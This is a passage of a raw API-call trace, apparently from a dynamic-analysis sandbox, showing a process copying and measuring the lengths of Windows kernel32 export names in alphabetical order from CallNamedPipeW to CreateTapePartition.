lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0045.688] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0045.688] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0045.688] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0045.688] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0045.689] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0045.689] lstrlenA (lpString="CANCELIO") returned 8 [0045.689] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0045.689] lstrlenA (lpString="CANCELIOEX") returned 10 [0045.689] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0045.689] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0045.689] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0045.689] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0045.689] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0045.689] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0045.689] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0045.689] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0045.689] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0045.689] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0045.689] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0045.689] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0045.689] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0045.689] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0045.689] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0045.689] lstrlenA (lpString="CHECKELEVATION") returned 14 [0045.689] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0045.689] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0045.689] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0045.689] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0045.689] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0045.689] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0045.690] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0045.690] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0045.690] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0045.690] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0045.690] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0045.690] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0045.690] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0045.690] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0045.690] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0045.690] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0045.690] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0045.690] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0045.690] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0045.690] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0045.690] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0045.690] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0045.690] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0045.690] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0045.690] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0045.690] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0045.690] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0045.690] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0045.690] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0045.690] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0045.690] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0045.690] lstrlenA (lpString="CLOSESTATE") returned 10 [0045.690] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0045.690] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0045.691] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0045.691] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0045.691] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0045.691] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0045.691] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0045.691] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0045.691] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0045.691] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0045.691] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0045.691] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0045.691] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0045.691] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0045.691] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0045.691] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0045.691] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0045.691] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0045.691] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0045.691] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0045.691] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0045.691] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0045.691] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0045.691] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0045.691] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0045.691] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0045.691] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0045.691] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0045.691] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0045.691] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0045.691] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0045.692] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0045.692] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0045.692] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0045.692] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0045.692] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0045.692] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0045.692] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0045.692] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0045.692] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0045.692] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0045.692] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0045.692] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0045.692] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0045.692] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0045.692] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0045.692] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0045.692] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0045.692] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0045.692] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0045.692] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0045.692] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0045.692] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0045.692] lstrlenA (lpString="COPYCONTEXT") returned 11 [0045.692] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0045.692] lstrlenA (lpString="COPYFILE2") returned 9 [0045.692] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0045.692] lstrlenA (lpString="COPYFILEA") returned 9 [0045.692] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0045.692] lstrlenA (lpString="COPYFILEEXA") returned 11 [0045.692] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0045.692] lstrlenA (lpString="COPYFILEEXW") returned 11 [0045.692] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0045.693] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0045.693] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0045.693] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0045.693] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0045.693] lstrlenA (lpString="COPYFILEW") returned 9 [0045.693] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0045.693] lstrlenA (lpString="COPYLZFILE") returned 10 [0045.693] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0045.693] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0045.693] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0045.693] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0045.693] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0045.693] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0045.693] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0045.693] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0045.693] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0045.693] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0045.693] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0045.693] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0045.693] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0045.693] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0045.693] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0045.693] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0045.693] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0045.693] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0045.693] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0045.693] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0045.693] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0045.693] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0045.693] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0045.693] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0045.693] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0045.694] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0045.694] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0045.694] lstrlenA (lpString="CREATEEVENTA") returned 12 [0045.694] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0045.694] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0045.694] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0045.694] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0045.694] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0045.694] lstrlenA (lpString="CREATEEVENTW") returned 12 [0045.694] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0045.694] lstrlenA (lpString="CREATEFIBER") returned 11 [0045.694] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0045.694] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0045.694] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0045.694] lstrlenA (lpString="CREATEFILE2") returned 11 [0045.694] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0045.694] lstrlenA (lpString="CREATEFILEA") returned 11 [0045.694] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0045.694] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0045.694] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0045.694] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0045.694] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0045.694] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0045.694] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0045.694] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0045.694] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0045.694] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0045.694] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0045.694] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0045.694] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0045.694] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0045.694] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0045.694] lstrlenA (lpString="CREATEFILEW") returned 11 [0045.695] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0045.695] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0045.695] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0045.695] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0045.695] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0045.695] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0045.695] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0045.695] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0045.695] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0045.695] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0045.695] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0045.695] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0045.695] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0045.695] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0045.695] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0045.695] lstrlenA (lpString="CREATEJOBSET") returned 12 [0045.695] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0045.695] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0045.695] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0045.695] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0045.695] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0045.695] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0045.695] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0045.695] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0045.695] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0045.695] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0045.695] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0045.695] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0045.695] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0045.695] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0045.695] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0045.695] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0045.695] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0045.695] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0045.696] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0045.696] lstrlenA (lpString="CREATEPIPE") returned 10 [0045.696] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0045.696] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0045.696] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0045.696] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0045.696] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0045.696] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0045.696] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0045.696] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0045.696] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0045.696] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0045.696] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0045.696] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0045.696] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0045.696] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0045.696] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0045.696] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0045.696] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0045.696] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0045.696] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0045.696] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0045.696] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0045.696] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0045.696] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0045.697] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0045.697] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0045.697] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0045.697] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0045.697] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0045.697] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0045.697] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0045.697] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0045.697] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0045.697] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0045.697] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0045.697] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0045.697] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0045.697] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0045.697] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0045.697] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateTapePartition" | out: 